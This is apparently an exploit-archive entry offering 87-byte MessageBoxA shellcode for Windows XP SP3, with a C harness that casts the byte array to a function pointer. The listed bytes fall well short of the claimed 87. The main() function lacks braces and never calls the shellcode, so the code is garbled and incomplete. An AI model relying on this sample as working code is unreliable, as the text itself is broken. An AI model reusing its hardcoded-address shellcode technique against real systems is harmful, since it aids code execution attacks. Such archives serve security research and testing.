Windows XP SP3 English MessageBoxA Shellcode - 87 bytes

ID SSV:69636
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

Title: Windows XP SP3 English MessageBoxA Shellcode (87 bytes)
Date: August 20, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Tested on: Windows XP SP3 En
Thanks: ishtus
Greetz: Astalavista, OffSEC, Exploit-DB

Exploit-DB Notes:
Tested under Windows XP SP3 Eng
The correct memory address for GetProcAddress() appears to be different on our test machine,
which is 0x7c80ae30.

#include <stdio.h>

char shellcode[] =
"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" // 0x7c801d7b ; LoadLibraryA(user32.dll)
"\x89\xe1\x51\x50\xbb\x40\xae\x80" // 0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
"\xb8\x12\xcb\x81\x7c\xff\xd0";    // 0x7c81cb12 ; ExitProcess(0)

int main(int argc, char **argv)
   int (*func)();
   func = (int (*)()) shellcode;
   printf("Shellcode Length is : %d",strlen(shellcode));